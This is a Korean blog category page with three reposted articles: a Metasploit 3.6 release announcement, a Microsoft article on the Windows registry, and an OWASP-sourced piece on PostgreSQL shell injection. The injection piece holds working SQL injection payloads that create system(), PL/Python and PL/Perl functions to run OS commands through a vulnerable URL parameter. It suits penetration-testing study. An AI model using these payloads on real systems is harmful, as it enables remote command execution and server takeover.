'system'에 해당되는 글 6건

  1. 2011.03.08 Metasploit Framework 3.6.0 Released!
  2. 2010.08.05 PostgreSQL Shell Injection
  3. 2010.07.22 고급 사용자를 위한 Windows 레지스트리 정보 (1)
2011.03.08 14:43

Metasploit Framework 3.6.0 Released!


In coordination with Metasploit Express and Metasploit Pro, version 3.6 of the Metasploit Framework is now available. Hot on the heels of 3.5.2, this release comes with 8 new exploits and 12 new auxiliaries. A whopping 10 of those new auxiliary modules are Chris John Riley's foray into SAP, giving you the ability to extract a range of information from servers' management consoles via the SOAP interface. This release fixes an annoying installer bug on Linux where Postgres would not automatically start on reboot.

The feature I am most excited about is the new Post Exploitation support. I hinted at this new module type in the 3.5.2 release announcement and with 3.6, more than 20 new modules are available. Post modules are a new, more powerful, replacement for meterpreter scripts. Scripts were clearly tied to a single platform: meterpreter for Windows. With modules it is much easier to abstract common tasks into libraries for any platform that can expose a session. For example, file operations are common across all platforms -- windows/meterpreter, windows/shell, linux/shell, etc. Post modules can simply include Post::File and have access to platform-agnostic methods for interacting with the file system. In the near future, this sort of abstraction will be extended to Windows registry manipulation and service control.

Too much generality can make it difficult to access OS-level features and when you really need to get down and dirty with a session, you still can. Post modules have a Session object exactly as meterpreter scripts did and you can still access all of the low-level methods available to it. That means you can use railgun for performing complex system manipulation (e.g. smartlocker) when necessary. A major benefit of Post modules is the ability to easily include other mixins from the framework. From a user's perspective, this means more consistent reporting and option handling than are currently available with scripts. This also opens the door to local exploits for a variety of platforms, including Windows, Linux, and even Cisco IOS through SSH and Telnet sessions.

Although post modules are meant to replace meterpreter scripts, scripts are not going away any time soon. We understand that many users still rely on private scripts for their post-exploitation needs and porting all of them to the new format will take time. So while we will be favoring module contributions over scripts, that doesn't mean your private code is suddenly going to stop working.

This is an exciting release. As always, it is immediately available from the
Metasploit Framework downloads page.

다운로드 : http://www.metasploit.com/framework/download/

Trackback 1 Comment 0
2010.08.05 15:19

PostgreSQL Shell Injection

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.

Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting its stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout

Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on a database:
    SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  • If not, try to enable:
    CREATE LANGUAGE plpythonu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.

  • Check if PL/perl-untrusted has been enabled:
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • If not, assuming that sysadm has already installed the plperl package, try :
    CREATE LANGUAGE plperlu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


출처 : www.owasp.org

Trackback 0 Comment 0
2010.07.22 16:54

고급 사용자를 위한 Windows 레지스트리 정보

Microsoft Windows 98, Windows CE, Windows NT 및 Windows 2000에서 하나 이상의 사용자, 응용 프로그램 및 하드웨어 장치에 맞게 시스템을 구성하는 데 필요한 정보를 저장하는 중앙 계층형 데이터베이스

해당 레지스트리에는 각 사용자의 프로필, 컴퓨터에 설치된 응용 프로그램과 각 응용 프로그램이 작성할 수 있는 문서 유형, 폴더 및 응용 프로그램 아이콘의 속성 시트 설정, 시스템에 존재하는 하드웨어, 사용되고 있는 포트 등 작동 중에 Windows에서 지속적으로 참조하는 정보가 들어 있습니다.

해당 레지스트리는 Autoexec.bat 및 Config.sys와 같은 Windows 3.x 및 MS-DOS 구성 파일에 사용된 대부분의 텍스트 기반 .ini 파일을 대신합니다. 레지스트리는 여러 Windows 운영 체제에 공통적으로 사용되지만 운영 체제에 따라 다소 차이가 있습니다.

레지스트리 하이브는 데이터의 백업이 포함된 지원 파일의 집합을 가진 레지스트리의 키, 하위 키 및 값의 그룹입니다. HKEY_CURRENT_USER를 제외한 모든 하이브의 지원 파일은 Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003 및 Windows Vista의 %SystemRoot%\System32\Config 폴더에 있고, HKEY_CURRENT_USER의 지원 파일은 %SystemRoot%\Profiles\Username 폴더에 있습니다. 이러한 폴더에 있는 파일의 확장명은 해당 파일에 포함된 데이터의 형식을 나타냅니다. 또한 확장명이 없는 이름이 해당 파일에 포함된 데이터의 형식을 나타내는 경우도 있습니다.
 
레지스트리 하이브 지원 파일
HKEY_LOCAL_MACHINE\SAM Sam, Sam.log, Sam.sav
HKEY_LOCAL_MACHINE\Security Security, Security.log, Security.sav
HKEY_LOCAL_MACHINE\Software Software, Software.log, Software.sav
HKEY_LOCAL_MACHINE\System System, System.alt, System.log, System.sav
HKEY_CURRENT_CONFIG System, System.alt, System.log, System.sav, Ntuser.dat, Ntuser.dat.log
HKEY_USERS\DEFAULT Default, Default.log, Default.sav
Windows 98에서는 레지스트리 파일 이름이 User.dat와 System.dat이고 Windows Millennium Edition에서는 Classes.dat, User.dat 및 System.dat입니다.

참고 Windows NT, Windows 2000, Windows XP, Windows Server 2003 및 Windows Vista의 보안 기능을 통해 관리자는 레지스트리 키에 대한 액세스를 제어할 수 있습니다.

다음 표에는 시스템에서 사용하는 미리 정의된 키가 나열되어 있습니다. 키 이름의 최대 크기는 255자입니다.
 
폴더/미리 정의된 키 설명
HKEY_CURRENT_USER 현재 로그온되어 있는 사용자에 대한 구성 정보의 루트가 포함됩니다. 사용자의 폴더, 화면 색상 및 제어판 설정이 여기에 저장됩니다. 이 정보는 사용자 프로필과 관련됩니다. 이 키는 "HKCU"로 간략히 표시되기도 합니다.
HKEY_USERS 컴퓨터에서 로드된 모든 사용자 프로필이 포함됩니다. HKEY_CURRENT_USER는 HKEY_USERS의 하위 키입니다. HKEY_USERS는 "HKU"라고 간략히 표시되기도 합니다.
HKEY_LOCAL_MACHINE 컴퓨터에 특정한 구성 정보가 포함됩니다(임의의 사용자에 해당). 이 키는 "HKLM"으로 간략히 표시되기도 합니다.
HKEY_CLASSES_ROOT HKEY_LOCAL_MACHINE\Software의 하위 키입니다. 여기에 저장되는 정보는 Windows 탐색기를 사용하여 파일을 열 때 올바른 프로그램이 열리도록 합니다. 이 키는 "HKCR"로 간략히 표시되기도 합니다. Windows 2000에서 시작하는 경우 이 정보는 HKEY_LOCAL_MACHINE과 HKEY_CURRENT_USER 키에 저장됩니다. HKEY_LOCAL_MACHINE\Software\Classes 키에는 로컬 컴퓨터의 모든 사용자에게 적용할 수 있는 기본 설정이 포함됩니다. HKEY_CURRENT_USER\Software\Classes 키에는 기본 설정을 무시하고 대화형 사용자에게만 적용되는 설정이 포함됩니다. HKEY_CLASSES_ROOT 키는 이 두 소스의 정보를 병합하는 레지스트리 뷰를 제공합니다. HKEY_CLASSES_ROOT는 이전 버전의 Windows용으로 설계된 프로그램에 대해서도 이러한 병합된 뷰를 제공합니다. 대화형 사용자에 대한 설정을 변경하려면 HKEY_CLASSES_ROOT에서가 아니라 HKEY_CURRENT_USER\Software\Classes에서 변경해야 합니다. 기본 설정을 변경하려면 HKEY_LOCAL_MACHINE\Software\Classes에서 변경해야 합니다. HKEY_CLASSES_ROOT에 있는 키에 값을 쓰는 경우 시스템은 HKEY_LOCAL_MACHINE\Software\Classes에 정보를 저장합니다. HKEY_CLASSES_ROOT에 있는 키에 값을 쓰고 해당 키가 이미 HKEY_CURRENT_USER\Software\Classes에 있는 경우 시스템은 HKEY_LOCAL_MACHINE\Software\Classes에 정보를 저장하지 않고 HKEY_CURRENT_USER\Software\Classes에 정보를 저장합니다.
HKEY_CURRENT_CONFIG 시스템 시작 시 로컬 컴퓨터에서 사용하는 하드웨어 프로필에 대한 정보가 포함됩니다.

참고 64비트 버전의 Windows XP, Windows Server 2003 및 Windows Vista에 있는 레지스트리는 32비트 및 64비트 키로 나누어져 있습니다. 32비트 키 대부분은 해당하는 64비트 키와 이름이 같으며 마찬가지로 64비트 키 대부분은 해당하는 32비트 키와 이름이 같습니다. 64비트 버전의 Windows XP, Windows Server 2003 및 Windows Vista에 포함되어 있는 기본 64비트 버전의 레지스트리 편집기는 다음 노드 아래에 32비트 키를 표시합니다.

HKEY_LOCAL_MACHINE\Software\WOW6432Node
64비트 버전의 Windows에서 레지스트리를 보는 방법에 대한 자세한 내용은 다음 문서 번호를 클릭하여 Microsoft 기술 자료를 참조하십시오.
305097  (http://support.microsoft.com/kb/305097/ ) 64비트 Windows 버전에서 시스템 레지스트리를 보는 방법

다음 표에는 Windows에서 현재 정의되어 있고 사용되는 데이터 형식이 나열되어 있습니다. 값 이름의 최대 크기는 다음과 같습니다.
  • Windows Server 2003, Windows XP 및 Windows Vista: 16,383자
  • Windows 2000: 260자(ANSI) 또는 16,383자(유니코드)
  • Windows Millennium Edition/Windows 98/Windows 95: 255자
2,048바이트보다 큰 값은 레지스트리에 저장된 파일 이름을 사용하여 파일로 저장되어야 합니다. 이렇게 하면 레지스트리가 효율적으로 작업을 수행합니다. 값의 최대 크기는 다음과 같습니다.
  • Windows NT 4.0/Windows 2000/Windows XP/Windows Server 2003/Windows Vista: 사용 가능한 메모리
  • Windows Millennium Edition/Windows 98/Windows 95: 16,300바이트
참고 키의 모든 값의 총 크기는 64K로 제한됩니다.
 
이름 데이터 형식 설명
이진값 REG_BINARY 원시 이진 데이터. 대부분의 하드웨어 구성 요소 정보는 이진 데이터로 저장되고 16진수 형식으로 레지스트리 편집기에 표시됩니다.
DWORD 값 REG_DWORD 4바이트 길이의 수(32비트 정수)로 표현되는 데이터. 장치 드라이버와 서비스의 많은 매개 변수가 이 형식으로 되어 있으며 레지스트리 편집기에 이진, 16진수 또는 10진수 형식으로 표시됩니다. 관련 값은 DWORD_LITTLE_ENDIAN(중요도가 가장 적은 바이트가 최하위 주소에 있음)과 REG_DWORD_BIG_ENDIAN(중요도가 가장 적은 바이트가 최상위 주소에 있음)입니다.
확장 가능한 문자열 값 REG_EXPAND_SZ 변동 길이 데이터 문자열. 이 데이터 형식에는 프로그램이나 서비스가 데이터를 사용할 때 확인되는 변수가 포함됩니다.
다중 문자열 값 REG_MULTI_SZ 다중 문자열. 사용자들이 읽을 수 있는 형식으로 된 여러 값이나 목록이 포함된 값은 일반적으로 이 형식으로 되어 있습니다. 항목은 공백, 쉼표나 다른 기호로 구분됩니다.
문자열 값 REG_SZ 고정 길이 텍스트 문자열
이진값 REG_RESOURCE_LIST 하드웨어 장치 드라이버나 이 드라이버가 제어하는 물리 장치 중 하나에서 사용하는 리소스 목록을 저장할 목적으로 설계된 일련의 중첩 배열. 시스템은 이 데이터를 감지하여 \ResourceMap 트리에 씁니다. 이 값은 레지스트리 편집기에 이진값의 16진수 형식으로 표시됩니다.
이진값 REG_RESOURCE_REQUIREMENTS_LIST 장치 드라이버나 이 드라이버가 제어하는 물리 장치 중 하나에서 사용할 수 있는 장치 드라이버의 가능한 하드웨어 리소스 목록을 저장할 목적으로 설계된 일련의 중첩 배열. 시스템은 \ResourceMap 트리로 이 목록의 하위 집합을 씁니다. 이 데이터는 시스템에 의해 감지되며 레지스트리 편집기에 이진값의 16진수 형식으로 표시됩니다.
이진값 REG_FULL_RESOURCE_DESCRIPTOR 물리 하드웨어 장치에서 사용하는 리소스 목록을 저장할 목적으로 설계된 일련의 중첩 배열. 시스템은 이 데이터를 감지하여 \HardwareDescription 트리에 씁니다. 이 값은 레지스트리 편집기에 이진값의 16진수 형식으로 표시됩니다.
없음 REG_NONE 특정한 형식이 없는 데이터. 이 데이터는 시스템과 응용 프로그램에 의해 레지스트리에 쓰여지며 레지스트리 편집기에 이진값의 16진수 형식으로 표시됩니다.
링크 REG_LINK 심볼 링크의 이름을 지정하는 유니코드 문자열.
QWORD 값 REG_QWORD 64비트 정수로 표현되는 데이터. 이 데이터는 레지스트리 편집기에 이진값으로 표시되며 Windows 2000에 도입되었습니다.

레지스트리 백업

레지스트리를 편집하기 전에 편집할 레지스트리의 키를 내보내거나 전체 레지스트리를 백업하십시오. 문제가 발생하면 "레지스트리 복원" 절에 나와 있는 단계를 수행하여 레지스트리를 이전 상태로 복원할 수 있습니다. 전체 레지스트리를 백업하려면 백업 유틸리티를 사용하여 시스템 상태를 백업하십시오. 시스템 상태에는 레지스트리, COM+ 클래스 등록 데이터베이스 및 부팅 파일 등이 포함됩니다. 백업 유틸리티를 사용하여 시스템 상태를 백업하는 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
308422  (http://support.microsoft.com/kb/308422/ ) Windows XP에 포함된 백업 유틸리티를 사용하여 파일과 폴더를 백업하는 방법
320820  (http://support.microsoft.com/kb/320820/ ) Windows XP Home Edition에서 백업 유틸리티를 사용하여 파일과 폴더를 백업하는 방법
326216  (http://support.microsoft.com/kb/326216/ ) Windows Server 2003에서 백업 기능을 사용하여 데이터를 백업하고 복원하는 방법 (영문)

레지스트리 편집

레지스트리 데이터를 수정하려면 프로그램은 다음 MSDN 웹 사이트에 정의된 레지스트리 함수를 사용해야 합니다.
http://msdn.microsoft.com/ko-kr/library/ms724875(VS.85).aspx (http://msdn.microsoft.com/ko-kr/library/ms724875(VS.85).aspx)
관리자는 레지스트리 편집기(Regedit.exe 또는 Regedt32.exe), 그룹 정책, 시스템 정책, 레지스트리(.reg) 파일을 사용하거나 VisualBasic 스크립트 파일 등의 스크립트를 실행하여 레지스트리를 수정할 수 있습니다.

Windows 사용자 인터페이스 사용

시스템 설정을 변경하려면 레지스트리를 수동으로 편집하는 대신 Windows 사용자 인터페이스를 사용하는 것이 좋습니다. 그러나 레지스트리를 편집하는 것이 때때로 제품 문제를 해결하는 가장 좋은 방법이 될 수도 있습니다. Microsoft 기술 자료에서 이러한 문제를 다룬 경우 해당 문제를 해결하기 위해 레지스트리를 편집하는 방법에 대한 단계별 지침이 들어 있는 문서를 참조할 수 있습니다. 항상 이러한 지침을 정확히 따르는 것이 좋습니다.

레지스트리 편집기 사용

경고 레지스트리 편집기나 다른 방법을 사용하여 레지스트리를 잘못 수정하면 심각한 문제가 발생할 수 있습니다. 이러한 문제를 해결하기 위해 운영 체제를 다시 설치해야 할 수도 있습니다. Microsoft는 이러한 문제의 해결을 보증하지 않습니다. 레지스트리 수정에 따른 모든 책임은 사용자에게 있습니다.
레지스트리 편집기를 사용하여 다음을 수행할 수 있습니다.
  • 하위 트리, 키, 하위 키 또는 값 찾기
  • 하위 키 또는 값 추가
  • 값 변경
  • 하위 키 또는 값 삭제
  • 하위 키 또는 값 이름 바꾸기
레지스트리 편집기의 탐색 영역에는 폴더가 표시되며 각 폴더는 로컬 컴퓨터에 미리 정의된 키를 나타냅니다. 원격 컴퓨터의 레지스트리에 액세스할 때 나타나는 미리 정의된 키는 HKEY_USERS와 HKEY_LOCAL_MACHINE뿐입니다.

그룹 정책 사용

MMC(Microsoft Management Console)은 네트워크, 컴퓨터, 서비스 및 기타 시스템 구성 요소를 관리하는 데 사용할 수 있는 관리 도구를 호스팅합니다. 관리자는 그룹 정책 MMC 스냅인을 사용하여 컴퓨터나 사용자에 적용되는 정책 설정을 정의할 수 있습니다. 로컬 그룹 정책 MMC 스냅인(Gpedit.msc)을 사용하면 로컬 컴퓨터에서 그룹 정책을 구현할 수 있고, Active Directory 사용자 및 컴퓨터 MMC 스냅인을 사용하면 Active Directory에서 그룹 정책을 구현할 수 있습니다. 그룹 정책 사용에 대한 자세한 내용은 해당 그룹 정책 MMC 스냅인의 도움말 항목을 참조하십시오.

등록 항목(.reg) 파일 사용

레지스트리 변경 사항이 들어 있는 등록 항목(.reg) 파일을 만든 다음 변경할 컴퓨터에서 이 .reg 파일을 실행합니다. .reg 파일을 수동으로 실행하거나 로그온 스크립트를 사용하여 실행할 수 있습니다. 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
310516  (http://support.microsoft.com/kb/310516/ ) 레지스트리 항목(.reg) 파일을 사용하여 레지스트리 하위 키 및 값을 추가, 수정 또는 삭제하는 방법

Windows 스크립트 호스트 사용

Windows 스크립트 호스트를 사용하면 운영 체제에서 직접 VBScript 및 JScript 스크립트를 실행할 수 있습니다. Windows 스크립트 호스트 메서드를 사용하는 VBScript 및 JScript 파일을 만들어 레지스트리 키와 값을 삭제하고 읽고 쓸 수 있습니다. 이러한 메서드에 대한 자세한 내용은 다음 Microsoft 웹 사이트를 참조하십시오.
RegDelete 메서드
RegRead 메서드
RegWrite 메서드

Windows Management Instrumentation 사용

WMI(Windows Management Instrumentation)는 Microsoft Windows 운영 체제의 구성 요소이며 WBEM(Web-Based Enterprise Management)을 Microsoft에서 구현한 것입니다. WBEM은 엔터프라이즈 환경에서 관리 정보에 액세스하기 위한 표준 기술을 개발하기 위해 업계가 제안한 것입니다. 엔터프라이즈 환경에서 WMI를 사용하면 레지스트리 편집과 같은 관리 작업을 자동화할 수 있습니다. Windows에 엔진이 있고 Microsoft ActiveX 개체를 처리하는 스크립트 언어에서 WMI를 사용할 수 있습니다. 또한 WMI 명령줄 유틸리티(Wmic.exe)를 사용하여 Windows 레지스트리를 수정할 수도 있습니다.
WMI에 대한 자세한 내용은 다음 Microsoft 웹 사이트를 참조하십시오. WMI 명령줄 유틸리티에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
290216  (http://support.microsoft.com/kb/290216/ ) WMI(Windows Management Instrumentation) 명령줄 유틸리티(Wmic.exe)의 설명

Windows용 콘솔 레지스트리 도구 사용

Windows용 콘솔 레지스트리 도구(Reg.exe)를 사용하여 레지스트리를 편집할 수 있습니다. Reg.exe 도구의 도움말을 보려면 명령 프롬프트에서 reg /?를 입력한 다음 확인을 클릭합니다.

출처 : support.microsoft.com

Trackback 0 Comment 1
  1. 정동완 2010.07.22 23:22 address edit & del reply

    먼소린지 통 모르겠네